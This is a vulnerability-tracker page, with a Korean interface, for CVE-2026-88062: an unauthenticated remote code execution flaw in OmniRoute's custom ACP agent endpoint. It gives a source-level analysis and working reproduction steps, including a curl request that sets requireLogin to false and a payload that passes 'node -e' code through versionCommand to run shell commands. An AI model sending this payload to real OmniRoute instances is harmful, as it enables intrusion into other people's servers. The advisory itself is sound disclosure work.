Kestrel
대시보드로 돌아가기
CVE-2026-88062CRITICALMITRENVDGHSA대응게시일: 2026. 09. 10.수정일: 2026. 09. 10.

OmniRoute ACP Custom-Agent Remote Code Execution (RCE)

RCEAuth

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
critical

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

CVSS 벡터 정보 없음

상세 설명

  1. Summary

POST /api/acp/agents registers a custom ACP agent. The endpoint accepts user-controlled
binary and versionCommand values. After saving the custom agent, the same request calls
refreshAgentCache(), which triggers agent version detection. The version probe eventually runs:

text
1execFileSync(probe.command, probe.args, ...)

The only validation is resolveVersionProbe(binary, versionCommand, true), which checks that the
first token of versionCommand matches the request-provided binary. Because binary is also
attacker-controlled, an attacker can submit:

text
1{
2 "binary": "node",
3 "versionCommand": "node -e \"...arbitrary JavaScript...\""
4}

This executes arbitrary Node.js code inside the server container, and that code can execute OS
commands via child_process.execSync().

When requireLogin=false, isAuthenticated() treats anonymous requests as authenticated. At the
same time, /api/acp/ is not included in LOCAL_ONLY_API_PREFIXES or SPAWN_CAPABLE_PREFIXES, so
the endpoint is not blocked by the LOCAL_ONLY policy before reaching the anonymous allow branch.
As a result, a remote anonymous attacker can execute commands inside the OmniRoute container with a
single HTTP request.

  1. Preconditions

The unauthenticated exploit is reachable in either of the following scenarios:

  1. The target instance has requireLogin=false. This is the primary scenario covered by this
    report and by the reproduction steps below.
  2. A fresh instance has no management password configured yet. During this bootstrap window,
    /api/settings/require-login allows unauthenticated setup writes, so an attacker can first set
    requireLogin=false and then call the vulnerable endpoint.

If the instance is in the default requireLogin=true state and already has a management password,
exploitation requires a valid management session or management-scoped API key. In that case, the
bug is authenticated RCE rather than the unauthenticated scenario emphasized here.

  1. Technical Analysis

4.1 The Endpoint Accepts User-Controlled Command Fields

src/app/api/acp/agents/route.ts:15-24 defines a request schema that accepts binary,
versionCommand, and spawnArgs:

text
1const customAgentBodySchema = z.object({
2 action: z.string().optional(),
3 id: z.string().optional(),
4 name: z.string().optional(),
5 binary: z.string().optional(),
6 versionCommand: z.string().optional(),
7 providerAlias: z.string().optional(),
8 spawnArgs: z.array(z.string()).optional(),
9 protocol: z.enum(["stdio", "http"]).optional(),
10});

The POST handler at src/app/api/acp/agents/route.ts:58-61 only calls isAuthenticated():

text
1export async function POST(request: Request) {
2 if (!(await isAuthenticated(request))) {
3 return NextResponse.json({ error: "Unauthorized" }, { status: 401 });
4 }

The handler then stores binary and versionCommand in the custom agent definition without an
executable allowlist:

text
1const newAgent: CustomAgentDef = {
2 id: id.toLowerCase().replace(/[^a-z0-9-]/g, "-"),
3 name,
4 binary,
5 versionCommand,
6 providerAlias: providerAlias || id,
7 spawnArgs: spawnArgs || [],
8 protocol: protocol || "stdio",
9};

This logic is in src/app/api/acp/agents/route.ts:92-100.

4.2 The Only Guard Is a Self-Consistency Check

The only command validation in the route is at src/app/api/acp/agents/route.ts:102-107:

text
1if (!resolveVersionProbe(newAgent.binary, newAgent.versionCommand, true)) {
2 return NextResponse.json(
3 { error: "Invalid versionCommand: use the configured binary with plain arguments only" },
4 { status: 400 }
5 );
6}

The core logic of resolveVersionProbe() is in src/lib/acp/registry.ts:261-288:

text
1export function resolveVersionProbe(
2 binary: string,
3 versionCommand: string,
4 requireBinaryMatch = false
5): { command: string; args: string[] } | null {
6 const tokens = tokenizeVersionCommand(versionCommand);
7 if (!tokens) {
8 return null;
9 }
10
11 const [command, ...args] = tokens;
12 if (!command) {
13 return null;
14 }
15
16 if (requireBinaryMatch) {
17 const normalizedCommand = normalizeCommandToken(command);
18 const allowed = new Set([
19 normalizeCommandToken(binary),
20 normalizeCommandToken(path.basename(binary)),
21 ]);
22 if (!allowed.has(normalizedCommand)) {
23 return null;
24 }
25 }
26
27 return { command, args };
28}

This check only requires the first token of versionCommand to equal binary or
path.basename(binary). Since binary is also attacker-controlled, binary="node" and
versionCommand="node -e \"...\"" pass validation.

tokenizeVersionCommand() only blocks a small set of shell metacharacters
(src/lib/acp/registry.ts:183-254):

text
1const DISALLOWED_VERSION_COMMAND_CHARS = /[;&|<>`$\r\n]/;

This does not prevent node -e code execution, because characters needed for the payload, such as
(, ), ', ., /, ,, and spaces, are allowed.

4.3 The Same Request Immediately Triggers Command Execution

After saving the custom agent, the route calls refreshAgentCache() at
src/app/api/acp/agents/route.ts:121-127:

text
1const updated = [...current, newAgent];
2await updateSettings({ customAgents: updated });
3setCustomAgents(updated);
4
5const agents = refreshAgentCache();
6return NextResponse.json({ agents, added: newAgent });

refreshAgentCache() is defined at src/lib/acp/registry.ts:366-369:

text
1export function refreshAgentCache(): CliAgentInfo[] {
2 _cachedAgents = null;
3 return detectInstalledAgents();
4}

detectInstalledAgents() merges built-in and custom agents and calls detectAgent() for each one
(src/lib/acp/registry.ts:342-360):

text
1const allDefs = [
2 ...AGENT_DEFINITIONS.map((d) => ({ ...d, _custom: false })),
3 ..._customAgentDefs.map((d) => ({ ...d, _custom: true })),
4];
5
6_cachedAgents = allDefs.map((def) => {
7 const { _custom, ...rest } = def;
8 return detectAgent(rest, _custom);
9});

The command execution sink is at src/lib/acp/registry.ts:307-325:

text
1const probe = resolveVersionProbe(def.binary, def.versionCommand, isCustom);
2if (!probe) {
3 return { ...def, version, installed, isCustom };
4}
5
6const output = execFileSync(probe.command, probe.args, {
7 timeout: 5000,
8 encoding: "utf-8",
9 stdio: ["pipe", "pipe", "pipe"],
10 ...(shouldUseShellForVersionProbe(probe.command) ? { shell: true } : {}),
11}).trim();

On Linux containers, shouldUseShellForVersionProbe() returns false for non-Windows platforms
(src/lib/acp/registry.ts:290-301):

text
1export function shouldUseShellForVersionProbe(
2 command: string,
3 platform = process.platform
4): boolean {
5 if (platform !== "win32") return false;
6 ...
7}

Therefore the effective execution is execFileSync("node", ["-e", "..."]). No shell
metacharacters are required.

4.4 Why This Is Unauthenticated

isAuthenticated() is defined at src/shared/utils/apiAuth.ts:285-302:

text
1export async function isAuthenticated(request: Request): Promise<boolean> {
2 if (!(await isAuthRequired(request))) {
3 return true;
4 }
5 ...
6}

isAuthRequired() returns false when requireLogin=false
(src/shared/utils/apiAuth.ts:317-323):

text
1const settings = await getSettings();
2if (settings.requireLogin === false) return false;

The centralized management policy also has the same anonymous allow branch at
src/server/authz/policies/management.ts:223-226:

text
1if (!isAlwaysProtectedPath(path) && !(await isAuthRequired(ctx.request))) {
2 return allow({ kind: "anonymous", id: "anonymous", label: "auth-disabled" });
3}

Routes that can start local subprocesses should be blocked by the LOCAL_ONLY policy first.
src/server/authz/routeGuard.ts:29-45 lists LOCAL_ONLY prefixes such as /api/mcp/,
/api/cli-tools/runtime/, /api/services/, /api/tools/agent-bridge/, and /api/plugins/, but
it does not include /api/acp/:

text
1export const LOCAL_ONLY_API_PREFIXES: ReadonlyArray<string> = [
2 "/api/mcp/",
3 "/api/cli-tools/runtime/",
4 "/api/services/",
5 "/dashboard/providers/services/",
6 "/api/copilot/",
7 "/api/tools/agent-bridge/",
8 "/api/tools/traffic-inspector/",
9 "/api/plugins/",
10 "/api/plugins",
11 "/api/system/version",
12 "/api/db-backups/exportAll",
13 "/api/local/",
14 "/api/headroom/start",
15 "/api/headroom/stop",
16 "/api/oauth/cursor/auto-import",
17];

SPAWN_CAPABLE_PREFIXES also omits /api/acp/
(src/shared/constants/spawnCapablePrefixes.ts:26-35).

This means /api/acp/agents reaches the anonymous allow branch when requireLogin=false instead
of being rejected by the LOCAL_ONLY gate.

  1. Reproduction Environment

The issue can be reproduced in a local Docker environment:

  • OmniRoute image: diegosouzapw/omniroute:latest
  • Exposed port: 20128
  • Container data directory: /app/data
  • PoC behavior: runs only read-only commands (id and uname -a) and writes their output to
    /app/data/UNAUTH_RCE_PROOF.txt

  1. Reproduction Steps

6.1 Start a Test Instance

bash
1JWT=$(openssl rand -base64 48)
2AKS=$(openssl rand -hex 32)
3
4docker network create omniroute-poc-net
5docker run -d --name omniroute-poc-redis --network omniroute-poc-net redis:7-alpine
6docker run -d --name omniroute-poc --network omniroute-poc-net \
7 -p 20128:20128 -p 20129:20129 \
8 -e JWT_SECRET="$JWT" \
9 -e API_KEY_SECRET="$AKS" \
10 -e REDIS_URL="redis://omniroute-poc-redis:6379" \
11 diegosouzapw/omniroute:latest

Wait for startup:

bash
1until curl -sf http://localhost:20128/api/health >/dev/null 2>&1 || \
2 curl -sf http://localhost:20128/ >/dev/null 2>&1; do
3 sleep 2
4done

6.2 Put the Instance in the Login-Disabled State

This step models a self-hosted instance where dashboard login has been disabled:

bash
1curl -s -X POST "http://localhost:20128/api/settings/require-login" \
2 -H "content-type: application/json" \
3 -d '{"requireLogin":false}'

If the target is already in requireLogin=false, this step is not needed.

6.3 Trigger RCE Anonymously

The following request sends no cookie and no Bearer token:

bash
1curl -s -X POST "http://localhost:20128/api/acp/agents" \
2 -H "content-type: application/json" \
3 -d '{
4 "id":"anonrce",
5 "name":"anonrce",
6 "binary":"node",
7 "protocol":"stdio",
8 "versionCommand":"node -e \"require('\''fs'\'').writeFileSync('\''/app/data/UNAUTH_RCE_PROOF.txt'\'',require('\''child_process'\'').execSync('\''id'\'').toString()+require('\''child_process'\'').execSync('\''uname -a'\'').toString())\""
9 }'

6.4 Verify Command Execution

text
1docker exec omniroute-poc cat /app/data/UNAUTH_RCE_PROOF.txt

Expected output is similar to:

text
1uid=1000(node) gid=1000(node) groups=1000(node)
2Linux <container-id> <kernel-version> ... <arch> GNU/Linux

This proves that the anonymous HTTP request executed id and uname -a inside the OmniRoute
container.

<img width="2123" height="1195" alt="image" src="https://github.com/user-attachments/assets/935ae9c2-3d75-45ec-9a90-f325bbd17e4f" />

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.